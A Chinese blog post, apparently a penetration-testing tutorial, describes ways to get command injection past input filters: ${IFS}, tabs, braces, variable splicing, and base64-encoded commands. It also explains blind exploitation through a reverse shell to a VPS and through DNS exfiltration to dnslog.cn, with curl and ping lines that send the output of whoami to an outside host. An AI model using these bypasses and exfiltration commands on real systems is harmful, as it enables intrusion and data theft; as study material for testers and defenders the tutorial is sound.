命令执行绕过
开放人员在开发的过程中,为了避免命令执行漏洞,可能会过滤一些命令或者比较常见的攻击payload。攻击者会通过多种方式绕过过滤规则。
绕过空格过滤
1. ${IFS}绕过
$IFS是shell的特殊环境变量,是Linux下的内部域分分隔符。$IFS中存储的值可以是空格、制表符、换行符或者其他自定义符号。空格过滤可以用${IFS}绕过
2. $IFS$9绕过
3. 制表符绕过
%09是制表符的URL编码,可以通过%09来替代空格,绕过空格过滤。
4. {}绕过
空格过滤可以用{}绕过
5. <绕过
绕过关键字过滤
1.变量拼接绕过
Linux支持变量赋值,可以通过变量拼接来绕过过滤规则,如:cat可以替换a=c;b=at;$a$b
2. 空变量绕过
3. 系统变量绕过
${SHELLOPTS}是系统变量,可以利用系统变量的字符拼接绕过过滤
5. Base64编码绕过
例如:id命令的Base64编码为aWQ,再利用base64 -d对aWQ进行解码,这样就绕过过滤,并且正常执行了命令
`echo "aWQ=="|base64 -d`
无回显的命令执行
如果存在命令执行漏洞,但是没有回显,可以通过shell反弹的方式将shell反弹到vps上,然后通过vps执行命令。如果无法反弹shell,也可以通过DNS管道解析的方式获取命令的执行结果。
在Linux系统中,以下两个目录都可以获取用户名
- 在http://dnslog.cn/获取域名
- 执行命令
curl 4t3ykd.dnslog.cn/`whoami`
ping -c 1 `whoami`.4t3ykd.dnslog.cn
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?